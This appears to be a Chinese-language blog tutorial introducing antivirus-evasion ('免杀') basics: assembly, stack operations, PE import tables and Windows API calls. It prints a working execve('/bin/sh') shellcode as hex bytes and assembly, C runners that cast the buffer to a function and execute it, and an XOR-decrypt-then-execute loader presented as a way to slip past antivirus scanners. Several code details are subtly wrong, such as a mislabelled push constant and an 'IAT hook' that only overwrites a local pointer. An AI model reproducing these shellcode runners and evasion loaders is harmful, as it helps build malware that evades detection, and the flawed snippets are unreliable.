免杀入门0-1_基础知识

2025-02-16 23 0

免杀入门-基础知识

前言

随着信息安全威胁的不断演化,恶意软件攻击的手段日益复杂,其中通过 Shellcode 进行攻击的方式已经成为黑客常用的入侵手段。Shellcode 是一段小巧的代码,通过特定的漏洞注入到目标进程中并执行,从而实现远程控制、权限提升等攻击目的。为了有效防范此类攻击,了解 Shellcode 的基本构造原理和免杀技术至关重要。

本文将详细介绍 Windows Shellcode 构造的基础知识,包括汇编语言基础、堆栈操作、C 语言编程等内容,同时深入讲解 Shellcode 相关的 Windows API 使用、EXE/DLL 的编写技巧、导入表与导出表的原理,以及常见的免杀技术和相关的示例代码。

目录

  1. 汇编基础
  2. 堆栈基础
  3. C 语言基础编程
  4. 编写 EXE / DLL
  5. 导入表与 IAT 表
  6. 导出表与重定位表
  7. Windows API
  8. Shellcode 原理
  9. 免杀技术的实现与示例代码

1. 汇编基础

汇编语言是理解和构造 Shellcode 的核心。它允许开发者直接控制 CPU 的寄存器和内存,执行机器级操作。在构造 Shellcode 时,汇编语言能够高效地利用操作系统提供的资源,通常由一系列系统调用来完成特定的操作。

汇编基础示例:

section .data
    msg db 'Hello, Shellcode!', 0

section .text
    global _start

_start:
    ; 写输出到标准输出
    mov eax, 4        ; sys_write 系统调用
    mov ebx, 1        ; 文件描述符 (stdout)
    mov ecx, msg      ; 输出的字符串地址
    mov edx, 18       ; 字符串长度
    int 0x80          ; 触发中断

    ; 退出程序
    mov eax, 1        ; sys_exit 系统调用
    xor ebx, ebx      ; 返回值 0
    int 0x80

此示例展示了如何用汇编语言直接与操作系统进行交互,执行输出和退出操作。在 Shellcode 中,程序会以类似的方式直接调用系统服务以达到攻击目的。

2. 堆栈基础

在计算机体系结构中,堆栈是用于存储局部变量和函数调用信息的一块内存区域。在构造 Shellcode 时,堆栈的使用至关重要,特别是在涉及缓冲区溢出等漏洞时。堆栈的基本操作,如压栈(push)和弹栈(pop),通常在编写 Shellcode 时广泛应用。

堆栈操作示例:

section .text
    global _start

_start:
    ; 将 0x12345678 压入堆栈
    push 0x12345678

    ; 弹出堆栈值到 eax 寄存器
    pop eax

    ; 退出
    mov eax, 1
    xor ebx, ebx
    int 0x80

这个简单的示例演示了如何将一个值压入堆栈,再将其弹出到寄存器中。在 Shellcode 中,堆栈操作常常被用来处理返回地址、函数参数等。

3. C 语言基础编程

虽然汇编语言是 Shellcode 的基础,但在构造更复杂的攻击时,C 语言常常被用来编写与操作系统交互的代码。C 语言可以让开发者在更高层次上编写代码,同时保持对底层内存和硬件的控制能力。

C 语言 Shellcode 示例:

#include 
#include 
#include 

int main() {
    char *shellcode = 
        "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
  
    // 执行 Shellcode
    (*(void(*)()) shellcode)();

    return 0;
}

这个示例展示了如何通过 C 语言创建和执行 Shellcode。在这里,Shellcode 是一个字符串,它通过将地址转换为函数指针并执行,从而启动一个新的 shell(通常用于远程控制)。

4. 编写 EXE / DLL

在 Windows 系统中,Shellcode 可以被嵌入到 EXE 或 DLL 文件中。通过修改 EXE / DLL 文件的入口点,攻击者可以注入并执行 Shellcode。编写 EXE / DLL 文件需要了解 PE(可执行文件)格式,操作符号和数据表等。

EXE 文件编写示例(C 语言):

#include 

int main() {
    // 创建并执行一个简单的 message box
    MessageBoxA(0, "Hello, World!", "Test", MB_OK);
    return 0;
}

编译上述代码时,会生成一个 EXE 文件,它通过 Windows API 调用 MessageBoxA 显示消息框。在 Shellcode 中,我们可以通过修改程序行为或注入恶意代码来操控执行。

5. 导入表与 IAT 表

导入表(Import Table)和 IAT(Import Address Table)表是 Windows 程序中的重要组成部分。它们用于管理程序对外部库函数的调用。当 Shellcode 被注入时,攻击者可能会利用 IAT 表来替换系统函数的地址,实现特定的攻击目标。

IAT 表操作示例(修改 IAT):

#include 
#include 

void (*originalMessageBox)(HWND, LPCSTR, LPCSTR, UINT);

int main() {
    // 获取 MessageBoxA 地址
    originalMessageBox = (void (*)(HWND, LPCSTR, LPCSTR, UINT)) GetProcAddress(GetModuleHandle("user32.dll"), "MessageBoxA");

    // 替换 MessageBoxA 函数地址(假设 shellcode 地址)
    *(void **)(&originalMessageBox) = (void *)0xDEADBEEF;

    // 调用被篡改的函数
    originalMessageBox(NULL, "This is a test", "Injected!", MB_OK);

    return 0;
}

该代码示例展示了如何通过操作 IAT 表来替换外部库函数的地址,攻击者可以利用此方法将恶意代码注入到目标程序中。

6. 导出表与重定位表

导出表(Export Table)记录了一个 DLL 或 EXE 文件中可供外部调用的函数。重定位表则用于处理程序的地址重定位,确保程序在不同的内存地址运行时能够正常工作。在 Shellcode 注入攻击中,理解这些表格能够帮助攻击者更高效地定位和修改目标函数。

7. Windows API

Windows API 提供了大量的函数供开发者与操作系统进行交互。通过 Windows API,攻击者可以实现多种恶意操作,如文件操作、内存分配、进程创建等。Shellcode 通常依赖 Windows API 进行功能实现。

Windows API 使用示例:

#include 

int main() {
    // 使用 CreateFile 创建一个文件
    HANDLE hFile = CreateFile("test.txt", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

    if (hFile != INVALID_HANDLE_VALUE) {
        // 写数据到文件
        const char *data = "Hello, World!";
        DWORD written;
        WriteFile(hFile, data, strlen(data), &written, NULL);
        CloseHandle(hFile);
    }

    return 0;
}

在这段代码中,Windows API CreateFile 用于创建文件,WriteFile 用于写数据,Shellcode 可以通过类似的 API 调用实现对系统的控制。

8. Shellcode 原理

Shellcode 是一种小型的机器码程序,通常用于通过漏洞注入到目标程序中并执行。它通过利用系统提供的 API 或操作系统漏洞执行特定操作,例如打开反向 Shell、获取系统权限等。Shellcode 的构造通常依赖于缓冲区溢出或其他漏洞技术来实现代码注入。

Shellcode 示例(继续):

section .text
    global _start

_start:
    ; sys_execve("/bin/sh")
    xor eax, eax
    push eax
    push 0x68732f2f ; //sh
    push 0x2f2f6e69 ; //bin
    mov ebx, esp    ; 指向 "/bin/sh" 的地址
    push eax
    push ebx
    mov ecx, esp    ; 指向参数数组
    mov al, 0x0b    ; execve 系统调用号
    int 0x80        ; 调用系统中断执行命令

    ; 退出
    xor eax, eax
    inc eax
    int 0x80

这个例子展示了一个基本的 Linux Shellcode,使用 execve("/bin/sh") 启动一个 shell。在 Windows 平台上,类似的 shellcode 可以用来启动一个反向 shell,或者以管理员权限执行恶意命令。

9. 免杀技术的实现与示例代码

免杀技术是指通过各种手段使得恶意代码能够绕过防病毒软件、入侵检测系统(IDS)或入侵防御系统(IPS)的检测。为了实现免杀,攻击者通常会对 Shellcode 进行加密、混淆或编码,使其难以被传统的安全软件识别。

免杀技术概述:

  1. 编码和加密:通过对 Shellcode 进行编码或加密,攻击者可以使其变得不可读。常见的编码技术包括 XOR 加密、Base64 编码等。
  2. 动态生成 Shellcode:攻击者可以设计代码,使其动态生成并执行 Shellcode,而不是直接将其嵌入到可执行文件中。
  3. 反调试技术:通过检测调试器的存在,攻击者可以避免在调试环境中执行恶意代码。
  4. 跳过虚拟化技术:一些攻击者可能利用虚拟机(VM)或者沙箱环境来进行攻击,为了绕过沙箱,攻击者需要特别设计代码来检测是否处于沙箱环境中。

免杀技术示例:XOR 加密

XOR 加密是一种简单但有效的加密方法,可以对 Shellcode 进行编码,使其在不解密的情况下看起来像是无意义的代码。攻击者可以在 Shellcode 执行之前使用加密算法进行解密,从而绕过病毒扫描器。

XOR 解密示例:

#include 
#include 

unsigned char shellcode[] = {
    0x32, 0x34, 0x78, 0x89, 0x56, 0x90, 0x2f, 0x81, 0x57, 0x4d
    // 加密的 Shellcode 数据
};

void decrypt(unsigned char *code, int length, unsigned char key) {
    for (int i = 0; i < length; i++) {
        code[i] ^= key;  // XOR 解密
    }
}

int main() {
    int length = sizeof(shellcode) / sizeof(shellcode[0]);
  
    // 使用预定密钥进行解密
    decrypt(shellcode, length, 0xAA);

    // 执行解密后的 Shellcode
    (*(void(*)()) shellcode)();
  
    return 0;
}

在这个例子中,Shellcode 在被执行前进行了 XOR 解密。通过设置密钥(0xAA),攻击者可以让 Shellcode 的原始代码看起来像是乱码,避免了病毒扫描软件对其进行检测。

免杀技术示例:多阶段 Shellcode

另一种常见的免杀技术是多阶段 Shellcode,它将攻击过程分成多个阶段。初期的 Shellcode 负责从外部服务器下载并解密一个完整的 Shellcode,后者再执行更复杂的攻击行为。

多阶段 Shellcode 示例:

section .text
    global _start

_start:
    ; 阶段 1: 通过网络下载 Shellcode
    ; 假设我们通过某种方式下载了第二阶段 Shellcode
    ; 下载后的 Shellcode 存放在内存中

    ; 阶段 2: 执行下载的 Shellcode
    ; 可以使用动态加载的方式执行下载的 Shellcode

    ; 终止程序
    xor eax, eax
    inc eax
    int 0x80

在这个多阶段攻击过程中,第一个阶段的 Shellcode 被设计得非常简洁,只负责下载第二阶段的恶意代码并将其加载到内存中。第二阶段的 Shellcode 才执行复杂的攻击操作,例如反向 shell 启动、系统权限提升等

总结

本篇文章详细讲解了 Windows Shellcode 构造与反制的各个方面,从基础的汇编语言和堆栈操作到高级的免杀技术。通过对各种技术的掌握,攻击者可以编写出更为隐蔽的 Shellcode,而防御者则可以通过对这些技术的理解来制定更有效的防御措施。

在实际应用中,Shellcode 攻击常常与其他攻击手段(如缓冲区溢出、格式化字符串漏洞等)结合,成为复杂攻击的一部分。因此,持续提高对这些技术的认识和反制能力是确保系统安全的关键。


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

[Meachines] [Easy] PC gRPC HTTP2 SQLI+KTOR-HTTP扫描+pyLoad 0.5.0 js2py滥用权限提升
x64环境下完全隐藏导入表技术全解析
[Meachines] [Easy] Wifinetic FTP匿名登录+Reaver WPS PIN密码泄露权限提升
[Meachines] [Easy] Horizontall Strapi RCE+KTOR-HTTP扫描+Laravel Monolog 权限提升
网络钓鱼即服务平台 Darcula 现已支持自动生成针对任何品牌的钓鱼工具包
如何依据GDPR起诉公司数据滥用与隐私侵犯行为

发布评论